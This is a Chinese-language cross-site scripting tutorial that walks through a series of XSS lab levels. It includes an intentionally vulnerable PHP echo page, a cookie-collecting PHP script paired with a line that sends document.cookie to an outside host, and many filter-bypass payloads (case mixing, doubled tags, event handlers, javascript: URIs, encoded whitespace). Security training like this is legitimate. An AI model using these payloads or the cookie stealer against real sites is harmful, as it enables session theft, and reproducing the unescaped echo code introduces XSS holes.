**1.原理:**攻击者把恶意的脚本代码注入到网页中,等待其余用户浏览 这些网页(或触发其余条件),从而执行其中的恶意代码。 1.xss实例代码: test.htmljavascript
<!DOCTYPE html> <head> <title>xss_test</title> </head> <body> <form action="xss.php" method="post"> 请输入你的名字<br> <input type="text" name="name"> <input type="submit" value="提交"> </form> </body> </html>
xss.phpphp
<!DOCTYPE html> <head> <meta charset="utf-8"> <title>测试结果</title> </head> <body> <?php echo $_POST['name']; ?> </body> </html>
得到cookie 脚本 cookie.phphtml
<?php $cookie = $_GET['cookie']."\n"; $cookie_f = fopen('cookie.txt','a'); fwrite($cookie_f,$cookie); fclose($cookie_f); ?>
xss.jsjava
<script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>
xss分为3类 反射型xss 存储型xss dom型xss浏览器
<!-- 基本类型--> <script >alert('xss')</script> <script >alert("xss")</script> <script >alert(/xss/)</script> <script >alert('xss');</script>
<!-- 利用javascript伪协议 --> <iframe src=javascript:alert('xss') ></iframe> --------------------------------- <a href=javascript:alert('xss')>xxx</a> 两个a标签之间要加东西,否则看不到点击的地方
<!-- 利用基本事件 --> <img src="x" onerror= alert('xss')> //图片未找到 <img src="x" onload= alert('xss')> //图片正常显示 <img src="x" onclick= alert('xss')>
事件 | 含义 |
---|---|
onclick | 鼠标单击 |
onchange | 内容发生改变 |
onerror | 图片等未找到时 |
onload | 页面加载 |
onmouseover | 鼠标悬停 |
onmouseout | 鼠标移出 |
onmousemove | 鼠标路过 |
onchange 用在 input 标签 |
<input type="text" onchange=alert('xss')>
--标签的属性支持javascript:[code]伪协议cookie
利用空字符 经常使用字符:【空格】【回车】【Tab】键位符 应用场景:对JavaScript关键字过了过滤
-- 扰乱过滤规则dom
1)大小写混合 <sCRipt>alert('xss')</script> 2)引号的使用 <script>alert('xss')</script> <script>alert("xss")</script> <script>alert(/xss/)</script> 3)<iframe/src=javascript:alert(1)> 4)双写 <scr<script>ipt>alert(1111)</scr</script>ipt>
小tipsxss
%0a用作换行使的input标签语法正确,主要是由于过滤了“>” // js的注释
首先在地址后输入咱们最基本的payload,弹窗 还能够post
利用 iframe 标签的的 src 属性来弹窗 <iframe src=javascript:alert('xss')></iframe> 利用标签的 href 属性来弹窗 <a href=javascript:alert('xss')>ggtest</a> 这里就是超连接到了:javascript:alert('xss') 效果和浏览器直接打开这个地址:javascript:alert('xss')是同样的 这里还能够使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie img标签来弹窗 <img src=1 onerror=alert('xss')>
在次尝试输入基本的payload,看到没有测试
右键查看源代码,搜索咱们刚输入的东西,看过滤了什么
呗代码复制出来,构造payload,在input 标签里,首先想到onchange事件
<input name=keyword value="<script >alert('xss')</script>"> " onchange =alert(111) <"
还能够
"><script>alert(222)</script> <"
同样操做,看源代码,构造payload 过滤了尖括号 " onchange=alert(1111) /<"
' onchange='alert(/111/)
这个刚学到的,可能对< " 过滤有帮助 ' onclick=alert(1)%0a
%0a用作换行使的input标签语法正确,主要是由于过滤了“>”。
<input name=keyword value="111"> " onchange=alert(555)<"
过滤了script
还过滤了on事件 只能利用javascript伪协议
"><a href=javascript:alert(111)>
基本全过滤 尝试大小写绕过
"><img sRc=x onError="alert(/xss/)
这样还不行,看源码,on过滤,试了一下on大写,成功
"><img sRc=x OnError="alert(/xss/)
<input name=keyword value="456"> 尝试如下 <input name=keyword value="" Onchange=alert(123) id="">
不行,过滤on想到用伪协议 想到伪协议的绕过tab 空格 仍是不行,尴尬,看上边过滤是直接把on消失,试试复写。
" Oonnchange=alert(123) id="
</center><center><BR><a href="1111">友情连接</a></center><center><img src=level8.jpg></center>
a标签,href直接使用伪协议
javascript:alert(1111)
尝试tab
| 按键 | url编码|
| :-------- | --------:| | tab | %09 | |enter|%0A| |space|%20| --又有一方法 html10进制编码payload
尝试伪协议
并无弹,应该是/问题,这有一个思路是把http://放到alert里
javascri pt:alert('http://') //tab
编码
一脸懵逼,没有输入输出点啊 仍是没有输出点,经过观察发现有3个隐藏的输入input,构造下看看有没有输出
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3
发现t_sort参数有东西,窃喜。。
<input name="t_sort" value="3" type="hidden"> 构造 http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="
~绕过hidden属性的影响
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"